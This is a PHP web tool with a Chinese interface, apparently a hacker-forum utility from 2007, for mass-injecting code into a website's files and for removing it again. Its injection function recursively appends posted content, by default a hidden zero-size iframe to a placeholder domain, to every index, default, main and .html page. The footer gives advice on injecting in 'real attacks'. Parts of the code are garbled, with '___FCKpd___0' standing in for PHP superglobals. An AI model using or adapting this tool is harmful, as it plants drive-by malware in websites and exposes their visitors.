<?php
function gmfun($path=".")
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == "." || $v == "..") continue;
$file = $d->path."/".$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes(
___FCKpd___0
POST["key"]),$file)) {
$mm=stripcslashes( trim( ___FCKpd___0
POST[mm] ) );
$handle = @fopen ("$file", "a");
@fwrite($handle, "$mm");
@fclose($handle);
echo "已挂马文件:$file/n<br>";
}
}
}
$d->close();
echo " ";
}
function qmfun($path=".")
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == "." || $v == "..") continue;
$file = $d->path."/".$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes(___FCKpd___0
POST["key"]),$file)) {
$mm=stripcslashes( trim( ___FCKpd___0
POST[mm] ) );
$handle = fopen ("$file", "rb");
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,"",$oldcontent);
$fw = fopen ("$file", "wb");
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo "已清马文件:$file/n<br>";
}
}
}
$d->close();
echo " ";
}
if (___FCKpd___0
GET['action']=='gm') {
set_time_limit(0);
gmfun(___FCKpd___0
POST["dir"]);
}
if (___FCKpd___0
GET['action']=='qm') {
set_time_limit(0);
qmfun(___FCKpd___0
POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
< form action="<?$PHP_SELF?>?action=gm" method="post">
<table border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="25" colspan="2" bgcolor="006699"> <div align="center"><font color="#00FF00" size="4">网站批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">路径:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径)
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">挂马关键字:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index/.|default/.|main/.|/.html'>-----正则表达式匹配------
<td colspan="2" height="1"></td>
<td> </tr>
<tr>
<td height="25" bgcolor="#CCCCCC">想写入的挂马代码:</td>
<td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value='<iframe src="http://www.大家不要干坏事.com" width=0 height=0></iframe>'>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="006699"> <div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
<td> </tr>
</table>
< /form>
< form action="<?$PHP_SELF?>?action=qm" method="post">
<table border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="25" colspan="2" bgcolor="006699"> <div align="center"><font color="#00FF00" size="4">批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">路径:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径)
<td> </tr>
<tr>
<td height="27" bgcolor="#CCCCCC">清马关键字:</td>
<td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index/.|default/.|main/.|/.html'>-----正则表达式匹配------
<td colspan="2" height="1"></td>
<td> </tr>
<tr>
<td height="25" bgcolor="#CCCCCC">想清除的挂马代码:</td>
<td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value='<iframe src="http://www.不要挂马.com" width=0 height=0></iframe>'>
<td> </tr>
<tr>
<td height="25" colspan="2" bgcolor="006699"> <div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
<td> </tr>
</table>
< /form>
<p align="center">本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢<br>
大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧<br>
做人要厚道<br>
by 随风而去 07.12.06</p>